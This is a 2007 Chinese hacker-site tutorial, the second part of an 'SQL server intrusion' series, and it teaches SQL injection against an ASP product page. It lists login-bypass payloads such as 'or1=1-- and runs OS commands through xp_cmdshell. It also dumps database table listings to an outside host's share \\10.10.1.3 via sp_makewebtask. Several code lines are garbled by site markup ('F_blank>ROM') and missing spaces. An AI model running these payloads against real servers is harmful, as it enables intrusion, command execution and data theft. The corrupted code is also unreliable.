通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 攻防教程 >> 文章正文
黑客SQL服务器入侵实战演习(二)
责任编辑:水土不服   更新日期:2007-10-6
 
3.1为什么使用的是'or1=1--呢?

  让我们来看看其他例子中使用'or1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:

  http://duck/index.asp?category=food

  在上面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做到这些(链接成功),

  这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):

  v_cat=request("category")

  sqlstr="SELECT*F_blank>ROMproductWHEREPCategory='"&v_cat&"'"

  setrs=conn.execute(sqlstr)

  正如我们所看到的,变量值将会预先处理然后赋值于'v_cat',也就是说该SQL语句将会变为:

  SELECT*FROMproductWHEREPCategory='food'

  这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是'food'了。现在设想一下如果

  我们把该URL改成这样的话:

  http://duck/index.asp?category=food'or1=1--

  现在我们的变量v_cat的值就等同于"food'or1=1--"了,现在如果我们要重新代入那条SQL请求的话,

  那条SQL请求将会是:

  SELECT*FROMproductWHEREPCategory='food'or1=1--'

  现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于'food'。至于结尾部分的那两条'--'(破折号)则用于‘告诉'MSSQLSERVER忽略结尾最后的那个'(单引号)。有的时候也可以使用'#'(井号)来代替'--'(双破折号)在这里的用法。

  无论如何,如果对方不是一台SQL_blank>(这里指的是MSSQLSERVER),或者你不能使用简单的方法去忽略最后的那个单引号的话,你可以尝试:

  'or'a'='a

  这样的话整个SQL请求将会变为:

  SELECT*FROMproductWHEREPCategory='food'or'a'='a'

  它也会返回相同的结果。

  根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:

  'or1=1--

  "or1=1--

  or1=1--

  'or'a'='a

  "or"a"="a

  ')or('a'='a
4.0如何在SQL注入请求中加入即时执行命令?

  能够进行SQL注入的_blank>通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命令执行请求。默认的MSSQL是运行在SYSTEM用户级别下的,这等同于系统管理员的执行与访问权限。我们可以使用MSSQLSERVER的扩展储存过程(如master..xp_cmdshell等)来执行远程系统的某些命令:

  ';execmaster..xp_cmdshell'ping10.10.1.2'--

  若失败可以尝试一下使用"(双引号)代替'(单引号)。

  上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上面这条PING命令是否成功,你可以在10.10.1.2这台机器上_blank>监听ICMP请求包,并确认它是否来自那台SQL就可以了:

  #tcpdumpicmp

  如果你不能从那台SQL中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能是因为该SQL的管理员限制了WEB用户访问这些储存过程了。

  5.0如何可以获取到我发的SQL请求的相关返回信息呢?

  我们可以使用sp_makewebtask处理过程的相关请求写入URL:

  ';EXECmaster..sp_makewebtask"\\10.10.1.3\share\output.html","SELECT*F_blank>ROMINFORMATION

  _SCHEMA.TABLES"

  但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。
  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章提醒:“求职信”病毒1月6日发作
    普通文章两条“蠕虫”蠢蠢欲动
    普通文章5“网银大盗”狂盗储户14万 武汉男子被判10年
    普通文章“木马事件”终告结束 英语学习网重获新生
    普通文章搜索引擎不再喜欢新米,并非只是CN米
    普通文章蠕虫"威金"新变种 "小熊猫"屠宰多个计算机系统
    普通文章元旦上网谨防“Real蛀虫” 通过视频文件传播
    普通文章入侵工具Knark的分析及防范
    普通文章认清本质 计算机病毒防治常遇问题
    普通文章饶过现代Anti-Rookit工具的内核模块扫描(ZT)
    精彩专题